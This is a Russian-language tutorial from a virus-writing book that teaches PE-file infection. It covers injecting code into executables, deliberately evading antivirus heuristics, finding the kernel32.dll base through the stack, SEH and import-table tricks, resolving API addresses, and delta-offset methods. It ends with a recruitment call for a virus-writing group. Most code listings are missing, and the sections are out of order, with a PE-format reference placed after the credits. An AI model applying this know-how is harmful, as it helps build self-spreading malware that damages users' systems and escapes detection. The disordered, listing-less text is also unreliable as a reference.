В таблице секций, VirtualSize соответствует размеру секции без выравнивания, а SizeOfRawData с учетом файлового выравнивания. По-моему, название VirtualSize выбрано не очень подходящее. На выходе из этого кода в MaxOffset получаем смещение последней секции.

Внедряем код

Код мы будем внедрять из области памяти в которую был спроецирован файл с данными. Команды для внедрения Вы должны сформировать самостоятельно в шелл-код стиле. Сразу после окончания Вашего кода инфектор добавляет инструкцию перехода на нормальную точку входа программы. Эта инструкция занимает 7 байт памяти. Запись кода производиться не с конца кода последней секции, а со смещения кратного файловому смещению. Этим ходом мы и обманываем современные антивирусы и соответственно их эвристические анализаторы. Для Вас задание: сделать этот код в 2 раза короче. Это возможно.

Далее заполняем нулями оставшуюся часть памяти, учитывая опять же смещение:

Вот и все код внедрен, осталось поправить некоторые значения в PE-файле.

Все изменяемые поля тривиальны и говорят сами за себя, кроме Characteristics. Это атрибуты секций. Вот список возможных атрибутов:

Мы устанавливаем следующие атрибуты - Секция содержит код, для чтения и для записи:

Программа PeInfector (учебно-тестовая программа, демонстрирующая вышеописанные технологии Здесь (находится в архиве wasm_files.zip: files/0362/peinfector.asm) содержится полный код инфектора. Сначала создается окно. Когда окну посылается сообщение WM_CREATE, то на нем создается три кнопки и два edit-бокса. Программа использует директивы masm32 и соответственно предназначена для его компилятора. Компиляция

База – это адрес чего-то, что лежит в адресном пространстве текущего процесса. Для каждой программы в Windows существует свое адресное пространство. Его объем 4Гб. Т.к. на самом деле такого количества памяти нет, и адреса памяти не соответствуют физическим, поэтому его называют виртуальным адресным пространством. Противоположное этому понятие называется – физическое адресное пространство. Откуда берется столько памяти, если на машине установлено, всего лишь 256 Мб? Операционная система использует дисковое пространство. Если какие-либо куски кода или данных не нужны, она сбрасывает их на диск. Шина адреса для 32х разрядного процессора 32-х разрядная, т.е. адрес может быть 32х разрядным. Диапазон значения адреса – 0..4 294 967 269d, а в шестнадцатеричной системе счисления 0..0FFFFFFFFh. Скоро, когда мы будет программировать для 64-х разрядных ОС размер виртуального адресного пространства увеличиться до 16 экзабайт. Этому пространству соответствует диапазон для указателей 0..0FFFFFFFFFFFFFFFFh. Каждый процесс работает в своем адресном пространстве. Это означает что если Вы создали программу и запустили ее, никакая другая программа не сможет читать или изменять данные в Вашей программе. Есть, конечно, много способов изменить такое положение вещей, но для этого надо использовать специальные механизмы. Адресное пространство процесса полностью не принадлежит ему. Более того, если мы обратимся не туда куда надо, то ОС завершит нашу программу сразу же. Почему так? Да потому, что виртуальное адресное пространство разбивается на разделы, которые имеют свое специфическое назначение. Раздел для данных и кода приложения имеет диапазон 00010000H..0BFFEFFFFH. Существует раздел для кода и данных режима ядра. Он находиться в диапазоне 0C0000000H..0FFFFFFFFH. Например, в отладчике режима ядра Вы можете посмотреть в зависимости от адреса, какой код трассируется – код пользовательского режима или режима ядра. Все что Вы должны из этого для себя почерпнуть это то, что все пространство памяти делиться на куски, которые имеют свое назначение. Также есть такие разделы – для выявления нулевых указателей, закрытый раздел. Я не привожу диапазоны, т.к. они обычно не нужны. Диапазоны, которые я привел, справедливы для ОС WindowsXP. Вообще, в ОС отличных от WindowsXPмогут быть другие диапазоны и другие наборы разделов, если Вас это интересует, то Вы можете узнать их точно на сайте производителя этих самых ОС, нашу горячо любимую корпорацию Micro$oft(http://www.microsoft.com). В базовом разделе PlatformSDKговорится, что нижние 2 Гб относятся к коду и данным пользовательского режима, а верхние к коду и данным режима ядра. Остальные детали о регионах могут меняться с каждым выпуском обновления.

Для памяти в Windowsесть унифицированная единица, которой можно манипулировать напрямую – страница(__page). Странице памяти можно присвоить определенный атрибут, т.е. можно ли считывать данные со страницы или записывать и т.д. Размер страницы зависит от типа процессора. Так для процессоров с архитектурой x86 размер страницы равен 4 Кб. Для 64-разрядного процессора размер страницы может отличаться от 32-разрядного. Чтобы получить размер страницы можно использовать функцию GetSystemInfo.

Для того чтобы воспользоваться какой-либо частью виртуального адресного пространства мы должны сначала выделить в нем регион. Регион – эта область памяти (совокупность страниц) произвольного (но кратного) размера с одним и тем же атрибутом страниц. Операция выделения региона называется резервированием. При резервировании ОС выравнивает начало региона с учетом гранулярности выделения памяти(Allocation Granularity). Эта величина зависит от типа процессора, но для процессоров с архитектурой (x86,IA-64) она составляет 64 Кбайта. Чтобы получить значение гранулярности выделения памяти можно использовать функцию GetSystemInfo. Например, если исполняемый файл подгружает какие-нибудь DLL, то сначала он резервирует регион для этой DLLподходящего размера, а потом передает физическую память с диска на зарезервированный регион. Регион резервируется с учетом гранулярности, т.е. он будет кратен величине 64 Кб и значит, сама DLLбудет размещаться по адресам кратным 64 Кб, т.к. она размещается с самого начала региона. Т.к. единица памяти – страница, то размер региона кратен размеру страницы, т.е. регион выделяется страницами.

Теперь поговорим о kernel32.dll. Это библиотека динамической компоновки(DinamicLinkLibrary) которая содержит основные системные подпрограммы(routines) для поддержки подсистемы Win32. Процедуры, которые мы используем в своих программах для Windows, так или иначе содержаться в kernel32.dll. Например, мы завершили выполнение своего кода и хотим корректно завершиться. Надо использовать функцию ExitProcess. Она содержится в kernel32.dll. Если мы хотим использовать функции из других DLL, то в kernel32.dllесть функция GetProcAddress, которая возвращает нам указатель на требуемую функцию. Функции GetProcAddressнадо указать описатель(handle) модуля и указатель на строку с именем функции. Описатель модуля можно получить с помощью функции GetModuleHandle, которой передается указатель на строку с именем функции. Вы спросите: «А зачем получать адреса функций, если я и так могу их вызывать из своих программ?». Дело в том, что проблем с адресами API-функций нет, если у Вас есть самостоятельный исполняемый модуль. При загрузке exe-файла ОС сама находит нужные адреса с помощью функции LoadLibrary. Обычно программисты об этом и не задумываются. Но представьте, что Вы пишете вирус, а он часто не является отдельным exe-файлом, а живет внутри файла-жертвы. Ему, для своего существования приходиться ;) вызывать разные API-функции, но их адреса он не знает. В одной и той же ОС, например WindowsXP, база kernel32.dll, т.е. ее (библиотеки) начало, может быть фиксирована и иметь, например, значение 7с800000h. Но в зависимости от ситуации или операционной системы этот базовый адрес может изменяться. Наша задача писать вирусы, которые могут функционировать на, как можно, большем числе платформ. Для этого нам надо сначала найти базу kernel32.dll, а потом получить адреса нужных нам API-функций из этой библиотеки. Вообще сначала нам нужна всего одна функция – GetProcAddress. Если мы используем функции из библиотек отличных от kernel32.dll, то также GetModuleHandle. Мы предполагаем, что процесс-жертва использует функции kernel32.dll. Если нужной нам библиотеки может не оказаться в адресном пространстве процесса-жертвы, то нам понадобиться и функция LoadLibrary.

Если мы используем процедуры из этой библиотеки kernel32.dll, то она должна быть спроецирована в адресное пространство процесса. Проецирование делается при создании объекта ядра «проекция файла». Точно также, при загрузке exe-файла или его запуске, загрузчик создает его проекцию в адресном пространстве созданного процесса. Потом он просматривает таблицу импорта и проецирует все dllили exeнужные приложению. База kernel32.dll- это адрес в памяти, где начинается спроецированная в память библиотека.

Существует несколько способов получения базы kernel32.dll. Все они, так или иначе, опираются на какие-то тонкости ОС. Вы можете удивиться, но я в этой книге рассмотрю все известные мне способы. Все они будут представлены в виде ассемблерных процедур. (В терминологии языков программирования термины «функция» и «процедура» эквиваленты. Но язык Паскаль внес здесь свою путаницу. Я, естественно, буду руководствоваться традиционной и универсальной терминологией). Отдельные способы используют методы получения адреса в какой-нибудь процедуре из kernel32.dll. Суть метода в том, что мы каким-либо способом находим адрес произвольной процедуры в kernel32.dll. Каким способом, зависит от внутренней реализации ОС и ее особенностей. Другой способ заключается в проверке таблицы импорта.

Вы можете не разбираться даже в деталях реализации процедур и сразу же их использовать. Для подобного удобства около заголовка каждой из процедур будет описание входных и выходных данных. Ни одна из процедур не изменяет регистры за исключением выходного параметра. Например, если Вы вызываете процедуру ValidPE, и перед ней написано что выходной параметр помещается в регистр eax, то изменяется только регистр eax. Остальные регистры остаются с тем же содержимым что и до вызова процедуры. Признаюсь, я тут немного соврал. Не все регистры остаются с такими же значениями. Один регистр, все таки изменяется. Как Вы думаете какой? EIP. Также следите за вложенными процедурами.

Далее я привожу процедуру проверки PE-файла на правильность. Посмотрите на код. В исполняемом файле данные расположены, как “MZ” и “PE”, но мы сравниваем их наоборот. Здесь вступает в силу принцип «младший байт по младшему адресу». Это означает, что в памяти байты данных расположены наоборот. Соль в том что “MZ” и “PE“ рассматриваются не как строки, а как слова в памяти. Строки – это массив байтов. Т.е. если мы берем слово, то адрес младшего байта является адресом всего слова. А младший байт это, в случае “PE”, естественно “E”. Специфика микропроцессора здесь в том, как он работает с памятью и как интерпретирует адреса. Задумайтесь в связи с этим об аппаратной поддержке типов данных. Это очень важно. Вы должны хорошо это усвоить.

Допустим, что мы каким-либо способом получили адрес где-то в kernel32.dll. Способы получения такого адреса приведены в разделе “Способы получения адреса в памяти kernel32.dll”. Теперь наша задача получить базу по данному адресу. В нескольких способах мы сначала получаем адрес в памяти внутри kernel32.dll. Мы используем здесь гранулярность выделения памяти, т.е. сначала выравниваем значение адреса до 64 Кб, проверяем не база ли это уже kernel32.dll, если нет, то идем шагами назад по 64 Кб. Чтобы проверить, не база ли это, проверяем правильность формата PEфайла.

Теперь вопрос о том, сколько страниц проверять и когда останавливаться. Размер исполняемого образа kernel32.dllв WindowsXPSP2 около 1 Мб. Мы не знаем, где находиться сама процедура CreateProcess или UnhandledExceptionFilter. Но она точно содержится в секции кода PE-файла. Можно проанализировать PE-заголовок и выяснить начало секции кода и ее размер. Но это избыточные меры. В каждой ОС семейства Windows, как показывает проведенное тестирование, база находиться без счетчика. Я тестировал свою программу на ОС Windows 95,98,ME,2000,XP. Предлагаю Вам табличку с базами:

Можно полагаться на результаты тестирования. Но я ввожу счетчик, лишь для того, чтобы сделать процедуру универсальной.

Вот исходный код процедуры для получения базы:

В этом разделе будут рассмотрены способы получения адреса в памяти внутри спроецированной DLL.

Посмотрите такой пример:

Что, по Вашему, поместиться в регистр eax? Как операционная система создает процесс? Правильно, с помощью функции CreateProcess. CreateProcessнаходиться где-то внутри kernel32.dll. Т.о. в eaxмы получаем адрес где-то внутри kernel32.dll. Когда запускается зараженный файл, то управление передается вирусу. Вот тут-то мы и сцапаем нужный адрес. Но это естественно надо cделать сразу при запуске программы, а то стек забьется какими-нибудь данными или адресами возврата. Вот код, который должен выполнить Ваш вирус для получения базы kernel32.dll с помощью данного способа:

Просто, не правда ли?

SEH расшифровывается как Structured Exception Handling. По-русски – Структурная Обработка Исключения (СОИ). Вы узнаете о SEHвсе в соответствующей части данной книги. Здесь я только приведу способ, как получить адрес в kernel32.dll используя SEH. Кажется навороченно, да? Но на самом деле это достаточно просто. По адресу FS:0 находится структура, которая называется TIB(Thread Information Block). Перый DWORDTIB’а указывает на структуру которую называют ERR. Вот как она выглядит:

Т.о. формируется связный список. Как узнать где заканчивается связный список? Если это последний элемент списка, то 1ый DWORD имеет значение -1. Операционная система при создании процесса сама устанавливает обработчик, чтобы, если что, выдать на экран MessageBoxс сообщением об ошибке. Если это последний элемент в цепочке структур ERR, то указатель на обработчик исключения будет находиться где-то в kernel32.dll. Важно где именно. Этот адрес не будет совпадать с функцией UnhandledExceptionFilter. Это можно проверить практически. На самом деле это стандартный обработчик ОС Windows. Вот процедура, которая демонстрирует эту технику:

После получения адреса внутри kernel32.dll вызываем функцию GetBase, передавая ей соответствующие параметры для получения базы.

Этот способ отличается от приведенных выше. При загрузке PE-файла в память загрузчик заполняет адреса соответствующих функций из соответствующих DLL, которые нужны программе. Т.е. эти адреса хранятся внутри PE-файла, когда он загружен. Нам необходимо получить адрес любой функции из kernel32.dll

В таблице импорта есть два массива адресов. Один не изменяется. В нем содержаться сразу адреса импортируемых функций. Это применимо, в частности, для системных DLL. Второй массив заполняется при загрузке PE-файла. Чтобы найти базу kernel32.dllнадо найти таблицу импорта. В таблице импорта найти второй массив адресов. Массивы называются IMAGE_THUNK_DATA и описаны в WINNT.H. Первый массив называется OriginalFirstFunk, второй FirstThunk. Точнее так называются указатели на них, определенные в WINNT.H. Вам надо хорошо разбираться в импорте PE-файлов, чтобы понять это. Сначала мы должны найти начало зараженного файла. Потом переходим к PEзаголовку. Далее проходим до IMAGE_DATA_DIRECTORY. Переходим к элементу с индексом 1. Элемент с индексом 1 соответствует таблице импорта PE-файла. Сохраняем RVAи складываем его с базой нашего EXE. По найденному адресу находятся структуры IMAGE_IMPORT_DESCRIPTOR. В этой структуре есть элемент – указатель на имя импортируемой DLL. Проверяем не kernel32.dllли это, если нет, то идет к следующей структуре IMAGE_IMPORT_DESCRIPTOR. Если это kernel32.dll, то идем по указателю FirstThunk. Он указывает на таблицу адресов импорта или по-другому IMAGE_THUNK_DATA. Эта таблица переписывается загрузчиком PE-файла при загрузке. Вы можете подумать, что можно из таблицы импорта сразу взять адрес функции GetProcAddress. Но не факт что она будет там, так как сам EXE-файл может не импортировать функцию. Вот код который выуживает адрес одной из функций библиотеки kernel32.dll:

Здесь были рассмотрены наиболее популярные и известные способы. Если у Вас есть мысли по этому поводу, то присылайте их мне на электронную почту, обсудим вместе.

Вот мы получили базу kernel32.dllв адресном пространстве текущего процесса. Теперь нам надо найти для начала функцию GetProcAddress. Cее помощью мы получим желаемые адреса API-функций, которые мы будем использовать. Чтобы получить адрес функции GetProcAddressбудет анализировать таблицу экспорта PE-файла.

Для начала находим таблицу экспорта. Из нее получаем адрес массива AddressOfNames. Это массив двойных слов. Каждое двойное слово – это RVAна ASCIIZстроку с именем экспортируемой функции. Мы проходим по этому массиву и сравниваем имя «GetProcAddress» с именем экспортируемой функции. Номер слова в AddressOfNames будет индексом для массива AddressOfFunctions. Но нельзя забывать о элементе nBaseструктуры IMAGE_EXPORT_DIRECTORY. Это начальный номер экспорта для экспортируемых функций. После получения индекса функции мы должны нормализовать его значение относительно nBase. Полученный индекс используем для получения адреса функции из массива AddressOfFunctions.

Вот процедура которая все это делает:

После вызова функции GetGetProcAddressв регистре eax у нас есть адрес функции GetProcAddress. Передавая соответствующие параметры функции, получаем адреса других функций. Вызывать функцию можно как calleax.Взляните на код:

После вызова calleaxв регистре eaxбудет лежать адрес функции AddAtomA. При поиске не забывайте, что одна и та же функция может присутствовать в 2-х версиях – ANSIи UNICODE. Функции принимающие ANSI-строки, у них в конце имени стоит буква «A». Функции принимающие UNICODE-строки, у них в конце имени стоит буква «W». В примере выше, функция AddAtomпринимает указатель на ANSI-строку. Как узнать, что функция существует в двух вариантах? Есть два способа. 1) Подумать :) Если функция принимает какую-нибудь строку, то она точно в двух вариантах.2) В Win32.hlp– справочнике по API-функциям, в описании каждой функции можно посмотреть краткую информацию о функции (кнопка QuickInfo). Там есть строка Unicode. Если там что-нибудь, кроме None, то функция существует в двух вариантах, иначе - в одном. Описание функции GetProcAddress, я думаю, Вы посмотрите сами.

Нам может быть полезна функция LoadLibrary, которая загружает PE-файл в адресное пространство процесса. Если модуль уже загружен, то эта функция вернет нам базовый адрес данного модуля. Она будет нужна, если наш зверь требует функции, которые могут не быть в KERNEL32.DLL. Единственный параметр, который передается LoadLibrary, это адрес строки с именем требуемой DLLили EXE-файла. Теперь я опишу, как действуют большинство вирусов при получении адресов APIфункций.

Вирус хранит в своем теле имена API-функций чтобы потом найти их адреса. Он может также хранить контрольные суммы для строк, содержащих имена. Но я пока не буду затрагивать теорию контрольных сумм. Все что известно о хешах и контрольных суммах, стандартные алгоритмы и примеры использования, Вы узнаете в соответствующей главе. А пока потерпите. Здесь мы рассмотрим пока только простые имена.

Где внутри тела вируса есть такие строки:

Им соответствуют переменные вида:

Важно, что между ними взаимнооднозначное соответствие (привет Соломатину О.Д.!). Порядок, тоже сохраняется. Этими свойствами мы и пользуемся при получении адресов. Можно, конечно, обойтись без циклов и соответсвий, но в ассемблере халявы нет, в вирмейкинге тем более.

Ниже приведен код процедуры, которая заполняет соответствующую область адресами нужных API-функций:

Далее я привожу пример программы которая демонстрирует использование данных методик. Также программа использует дельта смещение описанное выше. Программа просто создает файл с именем “c:\2.txt”, а потом завершается. Естественно, что адреса API функций мы получаем сами. Никаких библиотек импорта, как Вы поняли, не требуется. В файле Part1.incнаходятся требуемые функции, листинги которых приведены выше. Файл Part1.inc можно скачать отсюда.

Кстати у меня к Вам маленький вопрос уважаемый читатель. Что будет, если мы получим базу не с помощью функции callGetKernelSEH, а с помощью функции GetKernelImport? Ответ: программа глюканет. Вы заметили, что наша программа не пользуется никакими прототипами? Из-за этого у нее нет экспортируемых функций. Но, если Вы будете внедрять код, то этот метод отлично подойдет, т.к. практически все Windowsприложения импортируют функции из библиотеки kernel32.dll. Кроме такой, листинг которой, приведен выше. Не забудьте поменять атрибут секции кода, если будете компилировать программу.

Это последняя вещь, о которой я хотел Вам рассказать в той главе. Представьте, что Вы заразили файл. Теперь код вируса или его часть находиться в другом exe-файле. Например, возьмем переменную _CreateFileA. Она имеет определенное смещение. Смещение это фиксировано. И если код, приведенный выше запишется в другой exe-файл, то это смещение будет уже некорректным. Наша задача сделать так, чтобы смещение не зависело от местоположения кода. Для этого, нам надо узнать по какому смещению находиться наш код. И относительно этого смещения вычислить смещение нашей переменной. Это же относиться и к функциям нашего кода. Дельта смещение – это значение, показывающее на сколько байт сместилось положение нашего кода. Проще говоря дельта-смещение – это адрес где находиться код которые сейчас выполняется. Дельта-смещение вычисляют обычно вначале старта кода вируса.

Вот пример получения дельта-смещения:

После выполнения этого кода в регистре ebpнаходиться дельта смещение. Вот еще несколько способов получения дельта смещения:

Еще один, по типу предыдущего:

Вот этот прием от BillyBelcebu:

И Еще:

На самом деле существует бесконечное число способов получить дельта смещение. Это зависит только от Вашей фантазии и знания языка ассемблер.

Теперь, как пользоваться переменными или функциями. Пусть у нас есть две переменные Xи Y. Пусть дельта смещение находиться в регистре EBP, тогда обращение к переменным в Вашем коде будет выглядить следующим образом:

В данной главе приводились методы, которые используют очень много вирусов. Этот код типичен. Эврестик просто должен распознавать что-то подобное.

В этом разделе я хочу выразить благодарности людям, которые помогли мне:

DayDream/ TPOC Volodya/ wasm. ru – Вы все его знаете, спасибо за поддержку

Aquila/ wasm. ru – твои переводы помогли многим, мне в том числе

Svl

/TPOC

Follower

/TPOC

Occas’

Ion – спасибо за интересные идеи

z0mbie/29a – большой respect Тебе

Sars

The Great Zopuh

Slon

NoName

Продолжается набор в группу TPOC. Если Вы считаете, что в Ваших жилах течет исследовательская кровь, то Вы непременно должны со мной связаться. Все желающие могут сделать это по электронной почте billtpoc@mail.ruили по ICQ.- 243091189. У TPOCсайта пока нет, но Вы можете зайти на мой сайт http://vxbill.narod.ru. Там Вы можете узнать последние новости.

• Общий вид PE-файла.

• Терминология применимая для файлов PE-формата. 3

• DOS-MZ заголовок.

• Файловый заголовок.

• Опциональный заголовок. 8

• Работа с заголовками PE-файла. 18

• Работа с таблицей директорий. 19

• Таблица секций.

• Работа с таблицей секций.

• Таблица Экспорта.

• Как происходит экспорт.

• Передача экспорта.

• Работа с таблицей экспорта.

• Таблица импорта.

• Структуры и термины импорта.

• Стандартный механизм импорта.

• Пример работы с таблицей импорта.

• Биндинг.

• Bound-импорт.

• Пример работы с Bound-импортом..

• Delay-импорт.

• Пример работы с Delay-импортом.

• Особенности импорта на конкретных реализациях загрузчиков.

• Базовые поправки.

• Программа PE Inside Console Version.

• Программа PEInsidev0.5alfa.

• PE64.

• Домашнее задание.

• Способы внедрения внутрь исполняемого файла.

• Поиск файлов.

• Проверка PE-файла на правильность.

• Способ 1. Внедрение в заголовок.

• Получение важных частей отображения.

• Переход на старый AddressOfEntryPoint

• Код инфектора.

• Способ 2. Запись в конец последней секции.

• Итоговый размер файла.

• Код инфектора.

• Способ 3. Добавление новой секции.

• Код инфектора.

• Способ 4. Удаление базовых поправок.

• Продвинутые приемы при заражении PE-файлов.

• Резюме.

В этой главе мы исследуем формат исполняемых файлов в операционной системе Windows. Все факты, которые будут касаться этого изложения подходят для ОС WindowsXPcустановленным SP2. Но большинство фактов распространяются на всю платформу Win32. Я буду рассматривать все поля PE-формата полностью. Я привожу здесь описания используемых структур, для того чтобы Вы могли использовать этот документ и как справочник.

Формат PE(PortableExecutable) – это переносимый исполняемый формат файлов. Переносимым он является потому, что он единственный для всех операционных систем Windows(9x,NT). Есть форматы и другие, но для платформы Win32 этот формат является единственным.

PE-формат впервые был использован в ОС Windows3.1. Он был стандартизирован в 1993 году и базируется на формате COFF(CommonObjectFileFormat), который использовался в нескольких UNIXи VMS. Приступим, сначала рассмотрим общий вид PE-файла, чтобы Вы имели представление о нем.

PE-файл в самом своем начале содержит программу для ОС DOS. Эта программа называется stub и нужна для совместимости со старыми ОС. Если мы запускаем PE-файл под ОС DOS или OS/2 она выводит на экран консоли текстовую строку, которая информирует пользователя, что данная программа не совместима с данной версией ОС. Программист при линковке может указать любую программу DOS, любого размера. После этой DOS-программы идет структура, которая называется IMAGE_NT_HEADERS. Эта структура определена так:

Почти все определения структур PE-файла Вы можете узнать из заголовочного файла WINNT.H, который поставляется вместе с какой-нибудь средой программирования.

Первый элемент IMAGE_NT_HEADERS – сигнатура PE-файла. Для PE-файлов она должна иметь значение IMAGE_NT_SIGNATURE. Далее идет структура, которая называется файловым заголовком и определенная как IMAGE_FILE_HEADER. Файловый заголовок содержит наиболее общие свойства для данного PE-файла. Мы рассмотрим файловый заголовок в соответствующем разделе. После файлового заголовка идет опциональный заголовок - IMAGE_OPTIONAL_HEADER32. Он содержит специфические параметры данного PE-файла. В конце опционального заголовка содержится массив элементов DataDirectory. Он служит для доступа к некоторым сущностям, которые могут быть секциями (о секциях далее), а могут и не быть. В общем случае эти сущности называются – директориями. После опционального заголовка начинается таблица секций. В ней содержится информация о каждой секции. После таблицы секций идут исходные данные для секций. В конец PE-файла можно записать любую информацию и от этого функционирование программы не измениться (если там не присутствует проверка контрольной суммы etc.). Вы можете посмотреть, как выглядит PE-файл на рисунке, тогда Вы поймете, о чем я говорил в этом разделе:

_

_

Секция – непрерывный набор страниц памяти с одинаковыми атрибутами. Бывают секции кода, данных, ресурсов и т.д. Обычно данные делятся на секции, если предполагается, что они будут использоваться одинаковым образом, т.е. например, только для чтения или только для записи. Также, данные могут делиться на секции в зависимости от того, что, представляют из себя, эти данные, например ресурсы или таблица импорта. В общем случае может быть, например 12 секций с одинаковыми атрибутами, и используемые для кода. Мы вправе сами создавать секции, указывая это компиляторам. С другой стороны секция это отдельная сущность PE-файла. Вы только прочтите, что пишут Microsoftв спецификации PE/COFFформата, что такое секция:

«A section is the basic unit of code or data within a PE/COFF file. In an object file, for example, all code can be combined within a single section, or (depending on compiler behavior) each function can occupy its own section. With more sections, there is more file overhead, but the linker is able to link in code more selectively. A section is vaguely similar to a segment in Intel 8086 architecture. All the raw data in a section must be loaded contiguously. In addition, an image file can contain a number of sections, such as .tls or .reloc , that have special purposes»

Прочтите внимательно, Microsoft – звери хитрые, просто так писать ничего не будут, да и НЕ писать тоже. Хотя, время текет и все устаревает.

VA (__Virtual Address) – виртуальный адрес. Адрес в адресном пространстве текущего процесса.

RVA (RelativeVirtualAddress) – относительный виртуальный адрес. При загрузке PE-файла, ОС использует механизм файлового мэппинга(FileMapping). Т.е. она проецирует данный exe, dll, sys или scrфайл по какому-то адресу в виртуальном адресном пространстве. Адрес начала проекции называется базовым адресом в памяти данного exe, dll, sys или scrфайла. А смещение относительно базового адреса называется – относительным виртуальным адресом. Например, EXE-файл спроецирован по адресу 400000H. Тогда если PE-заголовок находиться по адресу 4000E0H, то RVAPE-заголовка будет E0. В PE-заголовке очень много параметров указываются через RVA. А если RVAначала инструкций в файле есть 1000H, то виртуальный адрес будет равен 401000H учитывая, что база 400000H. Чтобы посчитать относительный виртуальный адрес по данному виртуальному адресу используется следующая формула:

(1) RVA = VA - IMAGE_OPTIONAL_HEADER.ImageBase

Иногда возникает необходимость посчитать файловое смещение соответствующее VAили RVA. Если требуется смещение внутри секции, используется следующая формула:

(2) offset = RVA – IMAGE_SECTION_HEADER.VirtualAddress + IMAGE_SECTION_HEADER.PointerRawData

Если смещение находится вне секции, т.е. в заголовке, таблице секций или еще где-нибудь, то естественно файловое смещение равно RVA. Вот код функции, которая возвращает файловое смещение в зависимости от RVA:

Макрос ALING_UP определен при описании параметра SectionAlignment в опциональном заголовке. Кстати, с помощью CreateFileMapping можно спроецировать файл как PE, т.е. кусками по секциям, а не как сплошной файл. Это делается так:

Параметр SEC_IMAGEуказывает, что проецировать файл надо как исполняемый. Естественно мы будем только так проецировать файлы при заражении, чтобы не высчитывать соответствий смещения в файле и RVA.

IAT – таблица адресов импорта. Массив двойных слов, содержащие RVA импортируемых функций.

INT – таблица импортируемых имен. Массив двойных слов, каждое из которых является RVA на ASCIIZ-строку с импортируемой функцией.

В начале файла располагается DOS-MZзаголовок. Он определен следующим образом:

Все что нас интересует здесь - это только одно значение - e_lfanew. Это двойное слово является RVAи указывает на структуру IMAGE_NT_HEADERS. Размер DOS-MZ заголовка составляет 80 байт.

Файловый заголовок находиться в PE-файле сразу же после сигнатуры IMAGE_NT_SIGNATURE. В файле WINNT.Hона определена как 00004550H. Файловый заголовок содержит наиболее общую информацию о данном файле. В файле WINNT.H файловый заголовок определен следующим образом:

Давайте рассмотрим по порядку данные поля.

WORD Machine ;

Два байта содержащие платформу, для которой создавался данный PE-файл. Возможные значения приведены ниже.

ОС Windows поддерживает только две архитектуры и все они - процессоров Intel– IA-32, IA-64. Исходя из этого, только два значения считаются корректными в PE-файле IMAGE_FILE_MACHINE_IA64 и IMAGE_FILE_MACHINE_I386. Если Вы подставите чего-либо другое, загрузчик откажется загружать данный файл. Да и то для 32х разрядных операционных систем (т.е. работающих с 32х разрядными процессорами) – значение единственное - IMAGE_FILE_MACHINE_I386. Очень интересно еще и то, что в официальной спецификации о некоторых значениях просто умалчивается, просто умалчивается и все!

WORD NumberOfSections; Количество секций в PE-файле. Значение должно быть верным. Фактически означает число элементов в таблице секций. DWORD TimeDateStamp;

Информация о времени, когда был собран данный PE-файл. Это значение равно количеству секунд прошедших с 1 января 1970 года до времени создания файла. В стандартной библиотеке Си есть замечательная функция gmtime, которая переводит время из секунд в удобочитаемый вид. Она берет указатель на DWORD – количество секунд и заполняет структуру tm, определенную в time.h. Эта структура выглядит следующим образом:

Чтобы узнать какой дате это число соответствует, используйте следующую функцию

X – значение поля TimeDateStamp. Чтобы использовать данную функцию необходимо подключить заголовочный файл time.h.

DWORD PointerToSymbolTable ; Указатель на COFF-таблицу символов PE-формата. Эту же информацию можно найти в элементе массива DataDirectoryс индексом IMAGE_DIRECTORY_ENTRY_DEBUG. Если Вы вдруг не знали, то отладочная информация нужна только для отладчика. Отсюда следует, что мы может размещать в этом поле любое значение. DWORD NumberOfSymbols; Количество символов в COFF-таблице символов. Может принимать любое значение. WORD SizeOfOptionalHeader ; Размер опционального заголовка. Опциональный заголовок следует сразу же за файловым заголовком. Размер опционального заголовка зависит от массива DataDirectory, а именно от количества элементов в нем. Обычно в нем 16 элементов, но могут быть и неожиданности. Это поле проверяется загрузчиком и должно быть правильным. WORD Characteristics;

Характеристики – это атрибуты специфичные для данного PE-файла. Поле Characteristics 16 битное поле и каждый установленный бит представляет из себя отдельный флаг. Знаете, я не ленив, и опишу все возможные флаги подробно. Конечно, большинство из них не используются в данное время, ведь PE-формат был создан в 1993 году. С этого времени много вещей стали не важны. Но это информация общеобразовательная. Прочитайте, если Вы хотите быть более гибки в области операционных систем.

Определены следующие значения:

#define IMAGE_FILE_fS_STRIPPED 0x0001 В файле отсутствует информация о базовых поправках. Этот флаг не используется в исполняемых файлах. Вместо этого информация о базовых поправках храниться в каталоге, на который указывает элемент в массиве DataDirectory с индексом IMAGE_DIRECTORY_ENTRY_BASERELOC. #define IMAGE_FILE_EXECUTABLE_IMAGE 0x0002 Файл является исполняемым (т.е. не содержит нераспознанных внешних ссылок). Если файл является исполняемым, то он не является объектным файлом или библиотекой. # define IMAGE_ FILE_ LINE_ NUMS_ STRIPPED 0 x0004 В файле отсутствуют номера строк. Это значение не используется в исполняемых файлах.#define IMAGE_FILE_LOCAL_SYMS_STRIPPED 0x0008 Локальные символы отсутствуют в файле. Это значение не используется в исполняемых файлах.#define IMAGE_FILE_AGGRESIVE_WS_TRIM 0x0010 Этот флаг установлен, если операционная система ограничивает программу памятью, агрессивно сбрасывая данные приложения в страничный файл. Этот флаг устанавливается для приложений, которые большую часть своего времени ждут, лишь очень редко пробуждаясь.#define IMAGE_FILE_LARGE_ADDRESS_AWARE 0x0020 Флаг, чтобы приложение могла работать с объемом памяти больше 2 или 3 Гб (в зависимости от загрузочного параметра).#define IMAGE_FILE_BYTES_REVERSED_LO 0x0080

и

#define IMAGE_FILE_BYTES_REVERSED_HI 0x8000

Эти флаги устанавливаются если порядок байт в конце файла, отличен от порядка байт для текущей архитектуры. Т.к. порядок байт в процессорах Intelодинаковый, то этот параметр в данное время не используется.

#define IMAGE_FILE_32BIT_MACHINE 0x0100 Этот флаг установлен, если предполагается, что машина 32- разрядная. Вероятно, если файл будет собран при помощи 64-разраного линкера, то этот флаг не будет установлен. #define IMAGE_FILE_DEBUG_STRIPPED 0x0200 Отладочная информация отсутствует в файле. Этот параметр не используется для исполняемых файлов. #define IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP 0x0400 Этот флаг установлен, если приложение может не запуститься с переносного носителя, дискеты или CD-ROM. В этом случае ОС переносит данные исполняемый файл в файл подкачки и считывает его оттуда. Но этот флаг в данный момент избыточен, т.к. ОС сама переносит исполняемый файл в файл подкачки, если он находиться на подобном съемном носителе. #define IMAGE_FILE_NET_RUN_FROM_SWAP 0x0800 Флаг установлен, если приложение может не запуститься по сети. Но этот флаг в данный момент избыточен, т.к. ОС сама переносит исполняемый файл в файл подкачки, если он находиться на общем сетевом ресурсе. #define IMAGE_FILE_SYSTEM 0x1000 Этот флаг установлен, если данный файл является системным, подобно драйверу. В настоящее время не используется. #define IMAGE_FILE_DLL 0x2000 Данный файл – это динамически подключаемая библиотека(DinamicLinkLibrary). Каждая 